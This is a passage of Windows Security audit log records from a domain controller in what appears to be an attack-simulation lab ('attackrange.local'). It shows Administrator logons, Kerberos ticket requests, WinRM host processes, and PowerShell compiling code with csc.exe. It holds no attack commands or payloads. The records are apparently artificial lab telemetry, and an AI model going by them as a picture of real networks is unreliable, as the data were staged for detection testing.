encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250522 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1340 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250521 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Process Information: - New Process ID: 0x1340 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250520 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250519 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250518 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250517 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250516 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250515 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x110439 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250514 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250513 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10E1DB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250512 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x110439 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250511 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x110439 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250510 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250509 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250508 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250507 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11041D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250506 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11041D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250505 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11041D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250504 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250503 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250502 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250501 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11034A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250601 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1104 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1308 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2qehzyd4\2qehzyd4.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250600 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1150 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBD70.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC83F8B1F83E2C4E719DF51FF2FB86F7E2.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250599 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x114301 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250598 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x114301 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {518DECA3-8B9F-744F-0C93-FDB4F1CFF899} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250597 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {518DECA3-8B9F-744F-0C93-FDB4F1CFF899} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250596 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {518DECA3-8B9F-744F-0C93-FDB4F1CFF899} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which 